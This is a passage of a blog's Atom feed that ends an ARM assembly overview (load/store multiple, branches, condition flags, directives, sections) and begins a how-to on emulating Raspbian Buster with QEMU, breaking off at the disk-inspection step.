&lt;h3 id="bulk-loadstore"&gt;Bulk load/store&lt;/h3&gt;
&lt;p&gt;Several registers can be loaded or stored with a single &lt;em&gt;load multiple&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and &lt;em&gt;store multiple&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;stm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) instructions.&lt;/p&gt;
&lt;p&gt;They have a base address, a &lt;em&gt;set&lt;/em&gt; of registers and an &lt;em&gt;indexing affix&lt;/em&gt; that controls how to “iterate the array/memory”.&lt;/p&gt;
&lt;p&gt;Four indexing exists: increment of the base address after/before accessing the memory (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ia&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ib&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and decrement of the base address after/before (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;da&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kd"&gt;db&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ia&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the default.&lt;/p&gt;
&lt;p&gt;In short:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;;              r4, r5, r6, r7&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldmia&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;;  *src++    :  0,  1,  2,  3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldmib&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;;  *++src    :  1,  2,  3,  4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldmda&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;;  *src--    : -3, -2, -1,  0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldmdb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;;  *--src    : -4, -3, -2, -1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note the it is a &lt;em&gt;set&lt;/em&gt; of registers, &lt;strong&gt;not a list&lt;/strong&gt; so the order is not important. The registers are loaded/stored by their index from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r15&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For loads the registers are loaded from memory into the registers in the natural order: from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r15&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. For stores, the registers are dump into memory in the reverse order.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;direction&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;grows&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;stmdb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; stack top -&amp;gt; [r0  r1]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldmia&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; r2 = r0; r3 = r1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;direction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;------&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;shrinks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The additional &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; symbol means update the base register &lt;em&gt;before&lt;/em&gt; the load or store but it doesn’t change how the load/store works.&lt;/p&gt;
&lt;p&gt;The data sheet says that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; have the canonical form of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;stmdb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldmia&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;regs&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points to the last value of the stack and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;stmdb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; decrements the base address (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) before doing the store in a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; while &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldmia&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; increments after the load in a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In both cases the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is updated &lt;em&gt;before&lt;/em&gt; (&lt;em&gt;pre write-back&lt;/em&gt;) regardless of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kd"&gt;db&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ia&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note also that the stack grows decrementing the addresses and shrinks incrementing the addresses.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="alignment"&gt;Alignment&lt;/h3&gt;
&lt;p&gt;The assembler can do it for you: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; aligns the code or data to 2^n bytes.&lt;/p&gt;
&lt;h3 id="endianess"&gt;Endianess&lt;/h3&gt;
&lt;p&gt;Since version 3, Arm is bi-endian. The instructions are in little endian but the data access can be little or big endian controlled by the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; flag of CPSR.&lt;/p&gt;
&lt;h2 id="conditionals-and-branches"&gt;Conditionals and branches&lt;/h2&gt;
&lt;p&gt;Three branches: &lt;em&gt;branch&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;while&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; constructs, &lt;em&gt;branch with link&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) for function call and &lt;em&gt;branch with exchange&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bx&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) for returning from a call or to switch between Arm and Thumb modes.&lt;/p&gt;
&lt;p&gt;The first two receive a label while the last one operates with a register.&lt;/p&gt;
&lt;p&gt;More branches exist including &lt;em&gt;branch with change to Jazelle&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bxj&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) that can switch to a special mode that &lt;a href="https://en.wikipedia.org/wiki/Jazelle"&gt;executes Java bytecode&lt;/a&gt; if supported.&lt;/p&gt;
&lt;p&gt;Due instruction size constrains, labels cannot be in arbitrary positions. The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; requires the destination addresses to be in a range relative to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;PC&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of [-32MB;+32MB].&lt;/p&gt;
&lt;p&gt;The range shrinks for other flavours of Arm to [-16MB;+16MB] and to [-252,256].&lt;/p&gt;
&lt;p&gt;The branches can, as other instructions, be conditional executed. So &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bne&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; stands for branch if not equals.&lt;/p&gt;
&lt;p&gt;Two registers have the flags that controls the conditional execution: the &lt;em&gt;Current Program Status Register&lt;/em&gt; (CPSR) and the &lt;em&gt;Saved Program Status Register&lt;/em&gt; (SPSR), used during the interrupt handling.&lt;/p&gt;
&lt;p&gt;The flags are set by special instructions like &lt;em&gt;compare&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) or by data manipulation instructions if the affix &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is added like in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;adds&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Not all the data manipulation instructions alter all the flags. For example the &lt;em&gt;overflow&lt;/em&gt; flag (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) is set by arithmetic operations and not by bit operations.&lt;/p&gt;
&lt;h3 id="branching-and-condition-codes"&gt;Branching and condition codes&lt;/h3&gt;
&lt;p&gt;Current Program Status Register (CPSR):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Z: is zero?&lt;/li&gt;
&lt;li&gt;N: is negative? (is MSB set?)&lt;/li&gt;
&lt;li&gt;C: is carry bit set? (in a 32 bit register with bits numbered from 0 (LSB) to 31 (MSB), is the 32 bit set?)&lt;/li&gt;
&lt;li&gt;V: was an arithmetic overflow? (like given a&amp;gt;0 &amp;amp; b&amp;gt;0 and then a+b &amp;lt; 0)&lt;/li&gt;
&lt;li&gt;E: are we in big endian mode (E==1) or in little endian (E==0)?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="symbols"&gt;Symbols&lt;/h2&gt;
&lt;p&gt;Global labels are defined with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;label&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; while local labels are just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.label&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (conventionally they begin with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;L&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to denote local but it is optional)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; declares the type of code: Arm (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 32) or Thumb (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is 16). Alternative there are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.arm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.thumb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; directives that do the same.&lt;/p&gt;
&lt;p&gt;These affect all the code below until another directive change the setting.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.thumb_func&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; on the other side affects only to the next symbol and it is required for &lt;em&gt;interworking&lt;/em&gt; Thumb functions.&lt;/p&gt;
&lt;p&gt;Alignment of code and data can be set by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.aling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.baling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; where the former aligns to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;2^&lt;/span&gt;&lt;span class="nf"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes and the latter to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bytes.&lt;/p&gt;
&lt;p&gt;They apply to the next instruction/data, they are not global.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;funcname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;function&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; declares a function.&lt;/p&gt;
&lt;h2 id="definition-of-variables"&gt;Definition of variables&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.byte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.hword&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.word&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; define data, array of items of 1, 2 and 4 bytes each.&lt;/p&gt;
&lt;p&gt;This is handy way to define &lt;em&gt;“variables”&lt;/em&gt; in the code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;  mantain the alignment, always!&lt;/span&gt;
&lt;span class="nl"&gt;one_word:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x41424344&lt;/span&gt;
&lt;span class="nl"&gt;one_array_u16:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.hword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="nl"&gt;hello:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hello world!&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;;  array of NULL-terminated strings&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="sections"&gt;Sections&lt;/h2&gt;
&lt;p&gt;These are &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (read-write non-zero initialized data) and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.bss&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (read-write zero initialized data).&lt;/p&gt;
&lt;p&gt;Other sections exist as well and they are denoted with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.section&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.section&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.rodata&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for read-only data.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nl"&gt;magic:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.bss&lt;/span&gt;
&lt;span class="nl"&gt;counter:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;.space&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Code section is denoted by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;.text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1 id="references"&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.coranac.com/tonc/text/asm.htm"&gt;Whirlwind Tour of ARM Assembly&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://documentation-service.arm.com/static/5ed66080ca06a95ce53f932d?token="&gt;ARM and Thumb-2 Instruction Set Quick Reference Card&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.arm.com/documentation/ihi0042/latest/"&gt;Procedure Call Standard for the Arm Architecture&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/12/27/TLDR-Quick-Overview-of-Arm.html" rel="alternate" type="text/html" title="TL;DR Quick Overview of Arm"/>
    <category term="tldr" label="tldr"/>
    <category term="tl;dr" label="tl;dr"/>
    <category term="ARM" label="ARM"/>
    <published>2020-12-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/12/15/Qemulating-Rasbian-ARM.html</id>
    <title>QEMUlating a Rasbian (ARM)</title>
    <updated>2020-12-15T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Quick how-to download and run a Raspbian Buster (ARM) emulating the vm with QEMU.&lt;!--more--&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download &lt;a href="https://downloads.raspberrypi.org/raspios_lite_armhf/images/raspios_lite_armhf-2020-12-04/"&gt;Raspbian lite image (Buster)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Download &lt;a href="https://github.com/dhruvvyas90/qemu-rpi-kernel"&gt;kernel image&lt;/a&gt; for Raspbian (&lt;code&gt;kernel-qemu-*-buster&lt;/code&gt;) and the &lt;em&gt;dtb&lt;/em&gt; file for that kernel (&lt;code&gt;versatile-pb-buster-*.dtb&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Install QEMU: &lt;code&gt;apt-get install qemu-system&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="preparing-the-image"&gt;Preparing the image&lt;/h2&gt;
&lt;p&gt;Unpack and check the disk file.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;unzip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.zip
Archive:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.zip
&lt;span class="w"&gt;  &lt;/span&gt;inflating:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img

$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img
Disk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2020&lt;/span&gt;-12-02-raspios-buster-armhf-lite.img:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.7&lt;span class="w"&gt; &lt;/span&gt;GiB,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1858076672&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3629056&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sectors
